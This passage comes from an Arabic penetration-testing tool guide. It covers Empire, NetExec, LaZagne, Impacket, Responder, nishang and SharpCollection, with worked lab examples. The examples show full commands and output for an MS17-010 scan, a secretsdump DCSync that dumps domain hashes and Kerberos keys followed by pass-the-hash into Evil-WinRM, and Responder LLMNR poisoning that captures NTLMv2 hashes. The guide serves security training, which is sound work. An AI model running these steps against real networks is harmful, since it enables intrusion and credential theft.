[INFO]: 127.0.0.1:43508 - "GET /assets/AgentsList-8927a817.js HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43522 - "GET /api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
[INFO]: 127.0.0.1:43534 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/stagers HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43548 - "GET /api/v2/tags?page=1&limit=-1&sources=listener&order_by
[INFO]: 127.0.0.1:43540 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43508 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43726 - "GET /api/v2/stagers HTTP/1.1" 200
[INFO]: 127.0.0.1:43726 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43748 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
[INFO]: 127.0.0.1:43756 - "GET /api/v2/bypasses HTTP/1.1" 200
[INFO]: 127.0.0.1:43764 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:43766 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43738 - "GET /api/v2/stager-templates HTTP/1.1" 200
[INFO]: 127.0.0.1:43772 - "GET /api/v2/stagers/1 HTTP/1.1" 200
```

```
[INFO]: 127.0.0.1:43772 - "GET /api/v2/stager-templates/windows_launcher_bat HTTP/1.1
[INFO]: 127.0.0.1:43772 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:43748 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:43756 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
[INFO]: 127.0.0.1:43738 - "GET /api/v2/bypasses HTTP/1.1" 200
[INFO]: 127.0.0.1:43726 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:43748 - "GET /api/v2/stagers HTTP/1.1" 200
[INFO]: 127.0.0.1:38000 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:38000 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:38012 - "GET /api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
[INFO]: 127.0.0.1:38000 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:38000 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:49372 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:49406 - "GET /assets/VPagination-bfdc9f4d.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49418 - "GET /assets/VPagination-e0f3cace.css HTTP/1.1" 200
[INFO]: 127.0.0.1:49388 - "GET /assets/ansi_up-2bbf37e0.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49394 - "GET /assets/index-1dc07863.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49380 - "GET /assets/AgentEdit-2de1c17e.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49382 - "GET /assets/AgentTasksList-3ceb9eaa.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49406 - "GET /assets/ExpansionPanelSearch-a61d395d.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49394 - "GET /assets/AgentExecuteModule-28227b5f.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49382 - "GET /assets/AgentExecuteModule-fdfbdfe6.css HTTP/1.1" 200
[INFO]: 127.0.0.1:49388 - "GET /assets/TechniqueChips-8e73515a.js HTTP/1.1" 200
[INFO]: 127.0.0.1:49418 - "GET /assets/AgentTasksList-988c7e74.css HTTP/1.1" 200
[INFO]: 127.0.0.1:49406 - "GET /assets/AgentEdit-688eb9a4.css HTTP/1.1" 200
[INFO]: 127.0.0.1:49394 - "GET /api/v2/agents/UM5TYRFP HTTP/1.1" 200
[INFO]: 127.0.0.1:49380 - "GET /api/v2/modules HTTP/1.1" 200
[INFO]: 127.0.0.1:49380 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:49388 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
[INFO]: 127.0.0.1:49394 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:49406 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:49382 - "GET /api/v2/bypasses HTTP/1.1" 200
```

```
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54596 - "GET /api/v2/tags?page=1&limit=-1&sources=agent&order_by=up
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:54584 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:40370 - "GET /api/v2/modules HTTP/1.1" 200
[INFO]: 127.0.0.1:40378 - "GET /api/v2/agents/UM5TYRFP HTTP/1.1" 200
[INFO]: 127.0.0.1:40370 - "GET /api/v2/agents?include_archived=true HTTP/1.1" 200
[INFO]: 127.0.0.1:40378 - "GET /api/v2/listeners HTTP/1.1" 200
[INFO]: 127.0.0.1:40400 - "GET /api/v2/bypasses HTTP/1.1" 200
[INFO]: 127.0.0.1:40380 - "GET /api/v2/credentials HTTP/1.1" 200
[INFO]: 127.0.0.1:40386 - "GET /api/v2/malleable-profiles HTTP/1.1" 200
```

تحميل: https://github.com/BC-SECURITY/Empire

٥.٥ CrackMapExec (NetExec)

نصل الآن إلى الأداة التي تُوصف بحق بأنها سكين الجيش السويسري الخاصة ببيئات Active Directory، وهي CrackMapExec (والتي تم تغيير اسمها رسمياً إلى NetExec في عام 2023 لأسباب قانونية ولتجنب الارتباط بالأنشطة غير الشرعية). هذه الأداة المكتوبة بلغة Python جاءت لتحل مشكلة الفوضى والبطء عند التعامل مع شبكات ضخمة تحتوي على آلاف الأجهزة. فبدلاً من تجربة تسجيل الدخول يدوياً أو استخدام أدوات متفرقة، تتيح هذه الأداة للمختبر إجراء عمليات رش كلمات المرور (Password Spraying) والتحقق من صحة بيانات الاعتماد على نطاق الشبكة بالكامل (Subnet) في ثوانٍ معدودة، مع توفير قاعدة بيانات داخلية لتتبع المضيفين المخترقين تلقائياً.

لا تكتفي الأداة بدعم بروتوكول SMB فحسب، بل تدعم بروتوكولات إدارة الأنظمة مثل WinRM وLDAP وMSSQL وSSH وRDP وFTP وVNC، مما يجعلها المنصة المركزية لأتمتة مهام ما بعد الاستغلال (Post-Exploitation) وتحديد مسارات التحرك الجانبي (Lateral Movement). بمجرد الحصول على بيانات اعتماد صالحة، يمكن استخدام نظام الوحدات (Modules) المرن لتنفيذ الأوامر عن بُعد، استخراج بيانات مثل SAM وLSA Secrets وNTDS.dit، تثبيت وكلاء C2 مثل Empire أو Metasploit، أو حتى تجاوز برامج الحماية. تدعم الأداة أيضاً التكامل مع BloodHound لتصدير البيانات وتحليل مسارات الهجوم، مما يجعلها الأداة الأساسية لمختبري الاختراق لتقييم أمان الشبكات المؤسسية بكفاءة عالية.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	BSD 2-Clause License

خصائص أداة NetExec

مثال عملي: فحص الشبكة واكتشاف ثغرة (EternalBlue) باستخدام NetExec:

```
1. nxc smb 10.49.170.0/24
2. nxc smb 10.49.170.84 -u 'guest' -p '' --shares
3. nxc smb 10.49.170.84 -u '' -p '' -M ms17-010
```

شرح المثال: تُعد NetExec (nxc) الخليفة الحديث لأداة CrackMapExec. في هذا السيناريو، قمنا بثلاث خطوات حاسمة:

١. **الاستكشاف:** الفحص الأولي كشف عن جهاز يعمل بنظام Windows 7 مع تفعيل بروتوكول SMBv1، وهو مؤشر خطر كبير.

٢. **التحقق من الوصول:** محاولة الدخول بحساب Guest فشلت (الحساب معطل).

٣. **فحص الثغرات:** بناءً على إصدار النظام، استخدمنا الوحدة البرمجية ms17-010 -M. النتيجة VULNERABLE LIKELY تعني أن هذا الجهاز مصاب بثغرة EternalBlue، مما يسمح باختراقه بصلاحيات النظام الكاملة (SYSTEM) عن بعد.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ nxc smb 10.49.170.0/24
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
```

```
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing VNC protocol database
[*] Initializing SSH protocol database
[*] Initializing SMB protocol database
[*] Initializing WMI protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing LDAP protocol database
[*] Initializing NFS protocol database
[*] Copying default configuration file
SMB         10.49.170.84    445     JON-PC           [*] Windows 7 / Server 2008 R2 B
Running nxc against 256 targets                       100% 0:00:00

  (yaser CyberBookio)-[~]
 $ nxc smb 10.49.170.84 -u 'guest' -p '' --shares
SMB         10.49.170.84    445     JON-PC           [*] Windows 7 / Server 2008 R2 B
SMB         10.49.170.84    445     JON-PC           [-] Jon-PC\guest: STATUS_ACCOUNT

  (yaser CyberBookio)-[~]
 $ nxc smb 10.49.170.84 -u '' -p '' -M ms17-010
SMB         10.49.170.84    445     JON-PC           [*] Windows 7 / Server 2008 R2 B
SMB         10.49.170.84    445     JON-PC           [+] Jon-PC\:
MS17-010                                            [+] 10.49.170.84 is likely VULNER
```

```
(yaser CyberBookio)-[~]
$
```

تحميل: https://github.com/byt3bl33d3r/CrackMapExec

٦.٥ LaZagne Project

مشروع LaZagne تستغل الكسل البشري في إدارة كلمات المرور (ومن هنا جاء الاسم المشتق من كلمة Lags أو الكسل). هذه الأداة المفتوحة المصدر (التي طورها Alessandro Zanni معروف بـ AlessandroZ) صُممت لحل معضلة جمع بيانات الاعتماد في مرحلة ما بعد الاختراق. فبدلاً من البحث اليدوي المتعب داخل ملفات التكوين وسجلات النظام، تقوم هذه الأداة بأتمتة عملية استخراج كلمات المرور المخزنة محلياً من أكثر من 150 برنامجاً مختلفاً.

سواء كانت كلمات مرور محفوظة في المتصفحات (مثل Chrome وFirefox وEdge وOpera)، أو عملاء FTP (مثل FileZilla)، أو أدوات إدارة قواعد البيانات، أو عملاء البريد (مثل Outlook وThunderbird)، أو حتى شبكات Wi-Fi، فإن LaZagne يعرف بالضبط أين يبحث وكيف يستخدم واجهات API النظام لفك تشفير هذه البيانات. الميزة الأهم تقنياً هي أنها تأتي كملف تنفيذي مستقل لا يحتاج إلى تثبيت (Standalone Executable)، مما يسهل تشغيلها مباشرة على جهاز الضحية دون ترك أثر كبير أو الحاجة لتثبيت مكتبات Python، مما يجعلها أداة الحصاد الأولى لمختبري الاختراق لجمع بيانات الاعتماد بسرعة وكفاءة.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	LGPL 0.3

خصائص أداة LaZagne

تحميل: https://github.com/AlessandroZ/LaZagne

٧.٥ Impacket

المكتبة البرمجية Impacket والتي تُعد بلا مبالغة لغة التخاطب الرسمية بين أنظمة Linux الهجومية وبيئات Windows المؤسسية. هذه المجموعة الضخمة من نصوص ومكتبات Python (التي طورها أصلاً SecureAuth Corporation وتتولى صيانتها الآن Fortra) ليست مجرد أدوات، بل هي تنفيذ برمجي منخفض المستوى (Low-Level) لبروتوكولات الشبكة مثل SMB/CIFS وKerberos وMSRPC وLDAP وWMI. تكمن قوتها في أنها تمنح مختبر الاختراق القدرة على التلاعب بهذه البروتوكولات من نظام Kali Linux دون الحاجة لاستخدام أدوات Windows الأصلية.

تتضمن المكتبة أدوات أصبحت أساسية، مثل secretsdump.py لاستخراج NTDS.dit وSAM وLSA Secrets، وpsexec.py للحصول على قشرة (Shell) بصلاحيات SYSTEM، وntlmrelayx.py لتنفيذ هجمات ترحيل NTLM Relay، وGetNPUsers.py لهجمات AS-REP Roasting، وGetUserSPNs.py لـ Kerberoasting، وsmbexec.py وwmiexec.py للتنفيذ عن بعد. كل هذه الأدوات تجعل Impacket العمود الفقري لأي اختبار اختراق داخلي أو تقييم لبيئة Active Directory.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني بالكامل
نوع الترخيص	Apache License 0.2

خصائص مكتبة Impacket

مثال عملي: السيطرة الكاملة على النطاق باستخدام (SecretsDump) وتقنية :(Pass-The-Hash)

```
1. impacket-secretsdump
spookysec.local/backup:'backup2517860'@10.48.139.39
2. evil-winrm -i 10.48.139.39 -u Administrator -H [ADMIN_NTHASH]
```

شرح المثال: هذا هو الهجوم النهائي. بعد الحصول على بيانات حساب backup (من الخطوات السابقة)، استخدمناه لتنفيذ هجوم DCSync عبر أداة secretsdump:

١. **استخراج الـ Hashes:** تم سحب قاعدة بيانات NTDS.dit بالكامل، مما كشف عن تجزئات كلمات مرور جميع المستخدمين في النطاق (NTLM Hashes).

٢. **السيطرة الكاملة (PtH):** تم تحديد تجزئة NTLM الخاصة بالمسؤول (Administrator)، ثم استخدامها مباشرة مع أداة Evil-WinRM للدخول والحصول على صدفة PowerShell بصلاحيات Domain Administrator (thm-ad\administrator) دون الحاجة لمعرفة كلمة المرور الأصلية.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ impacket-secretsdump spookysec.local/backup:'backup2517860'@10.48.139.39
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e1
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc4
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c66507
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e996541
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a874543
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa1
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f691
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b942214972
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:4c23996cc0727b560b9ead5a5c84d5
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
```

```
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d018
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b084
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d40
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6a
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d1
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a
```

```
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f2648
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e6
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:c09b1f59bdf9d1e87e061ac503218e83ee3bab20c1f9
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:425ecc3988045d5efb8ec346c7b6a152
ATTACKTIVEDIREC$:des-cbc-md5:4fce89193efd4638
[*] Cleaning up...

  (yaser CyberBookio)-[~]
 $ evil-winrm -i 10.48.139.39 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/e

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> exit
```

```
Info: Exiting with code 0

  (yaser CyberBookio)-[~]
 $
```

تحميل: https://github.com/fortra/impacket

٨.٥ Responder

أداة Responder (التي طورها Laurent Gaffie) تعتبر من أخطر وأهم الأدوات في اختبار الشبكات الداخلية. فكرتها عبقرية في بساطتها، حيث تستغل آلية عمل طبيعية في أنظمة Windows. عندما يحاول جهاز الاتصال بخادم أو مورد ويفشل في حل الاسم عبر DNS، يلجأ النظام تلقائياً إلى بروتوكولات الحل الاحتياطية (Fallback Protocols) مثل LLMNR وNBT-NS وmDNS للبث عن الاسم في الشبكة المحلية.

هنا يأتي دور Responder، حيث تراقب الشبكة بشكل سلبي وتنتظر هذه الطلبات. بمجرد رصد طلب حل اسم، تقوم بالرد بشكل ضار مدعيةً أنها الخادم المطلوب. عندما يحاول الجهاز الضحية الاتصال والمصادقة، تقوم الأداة بالتقاط بيانات الاعتماد مثل هاشات NTLMv1/NTLMv2 أو بيانات المصادقة الأخرى. تدعم الأداة تشغيل خوادم وهمية متعددة مثل SMB وHTTP/HTTPS وFTP وLDAP وSQL لضمان التقاط أكبر عدد من بيانات الاعتماد، مما يجعلها أداة أساسية في أي اختبار اختراق داخلي.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.3 License

خصائص أداة Responder

مثال عملي: شن هجوم (LLMNR Poisoning) واعتراض تجزئات كلمات المرور (Password Hashes) باستخدام Responder:

```
sudo responder -I tun0 -wv
```

شرح المثال: تُعد Responder الأداة الأساسية لاعتراض طلبات المصادقة في الشبكات المحلية.

- **الأمن التشغيلي (OPSEC):** تم تحديد الواجهة tun0 لتوجيه حركة الهجوم عبر نفق VPN، وهو إجراء احترافي لإخفاء عنوان IP الأصلي للمهاجم.

- **الاعتراض:** تستجيب Responder لطلبات أسماء الأجهزة المفقودة، مما يدفع جهاز المسؤول (THM-WINFUN2\Administrator) إلى إرسال تجزئة كلمة المرور (NTLMv2 Hash) إلى الخادم الوهمي الذي أنشأته الأداة.

- **النتيجة:** تم اعتراض عدة تجزئات متتالية لنفس اسم المستخدم ،(Administrator) وكل تجزئة هي محاولة جديدة لفك تشفير كلمة المرور في وضع Offline Cracking.

المخرجات:

```
yaser@CyberBookio:~$ sudo responder -I tun0 -wv

                                         --
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |  _|_ -__|__ --| _  | _  |     | _  || -__|  _|
  |__| |_____|_____|  __|_____|__|__|_____||_____|__|
                    |__|


[+] Poisoners:
    LLMNR                   [ON]
    NBT-NS                  [ON]
    MDNS                    [ON]
    DNS                     [ON]
    DHCP                    [OFF]

[+] Servers:
    HTTP server             [ON]
    HTTPS server            [ON]
    WPAD proxy              [ON]
    Auth proxy              [OFF]
    SMB server              [ON]
    Kerberos server         [ON]
```

```
    SQL server              [ON]
    FTP server              [ON]
    IMAP server             [ON]
    POP3 server             [ON]
    SMTP server             [ON]
    DNS server              [ON]
    LDAP server             [ON]
    MQTT server             [ON]
    RDP server              [ON]
    DCE-RPC server          [ON]
    WinRM server            [ON]
    SNMP server             [ON]

[+] HTTP Options:
    Always serving EXE      [OFF]
    Serving EXE             [OFF]
    Serving HTML            [OFF]
    Upstream Proxy          [OFF]

[+] Poisoning Options:
    Analyze Mode            [OFF]
    Force WPAD auth         [OFF]
    Force Basic Auth        [OFF]
    Force LM downgrade      [OFF]
    Force ESS downgrade     [OFF]

[+] Generic Options:
    Responder NIC           [tun0]
    Responder IP            [192.168.154.215]
    Responder IPv6          [fe80::588a:8aa3:a91f:ab26]
    Challenge set           [random]
    Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
```

```
    Don't Respond To MDNS TLD ['_DOSVC']
    TTL for poisoned response [default]

[+] Current Session Variables:
    Responder Machine Name [WIN-5JSAC84HXGQ]
    Responder Domain Name  [ZMD7.LOCAL]
    Responder DCE-RPC Port [46454]

[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder

[+] Listening for events...

[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:2a8504bb5c758cef:404CEA8DD63
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:46c11ad603095bdc:7C9F943D11C
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:2748ac1ff5dbeb32:E131D656181
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:a61d259bde013533:95D89858EBF
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:82ccfa543a605952:11310115E7C
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:f19741c968884634:55078E219E2
```

```
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:fa71deb1737a2369:AAF213595FD
[SMB] NTLMv2-SSP Client     : 10.49.156.213
[SMB] NTLMv2-SSP Username   : THM-WINFUN2\Administrator
[SMB] NTLMv2-SSP Hash       : Administrator::THM-WINFUN2:1c86836c35615ca3:2CF9D096983
[+] Exiting...

  (yaser CyberBookio)-[~]
 $
```

تحميل: https://github.com/lgandx/Responder

٩.٥ nishang

أداة nishang تعتبر مكتبة شاملة لكل ما يتعلق بـ PowerShell الهجومي والدفاعي، واللي طورها هو الباحث الهندي Nikhil Mittal. الميزة في nishang إنه ليس مجرد أداة واحدة، بل هو إطار عمل كامل يغطي كل مرحلة من مراحل اختبار الاختراق من البداية للنهاية.

هل نحتاج نزرع باب خلفي (Backdoor)؟ موجود. نحتاج نرفع صلاحياتك (Privilege Escalation)؟ موجود. نحتاج ننفذ أوامر عن بعد، نسحب بيانات حساسة، أو حتى نعمل هجمات رجل في المنتصف (MITM)؟ كله جاهز في هذا الإطار. والقوة الحقيقية هنا كل العمل يتم داخل الذاكرة (In-Memory) مباشرة، بدون ما يترك ملفات على القرص. وهذا الشي يجعل اكتشافه معقّد جداً على أغلب حلول الحماية التقليدية. ويعتبر سلاح أساسي عند الفريق الأحمر وفي نفس الوقت درس مهم للمدافعين لفهم مدى خطورة استغلال PowerShell.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	GPL-0.3 License

خصائص أداة nishang

تحميل: https://github.com/samratashok/nishang

١٠.٥ SharpCollection

مستودع SharpCollection ليست مجرد أداة واحدة، بل هي حقيبة أدوات جاهزة ومفيدة لأي مختبر اختراق يعمل في بيئة Windows. المشكلة التي تواجهنا دائماً هي الحاجة لتجميع أكواد أدوات C# يدوياً، وهذا يستهلك وقتاً وجهداً، لكن هذا المستودع (الذي أنشأه Flangvik) يحل المشكلة بكل بساطة بتوفير أكثر من 60 أداة من أشهر أدوات C# محدثة ومجمعة مسبقاً.

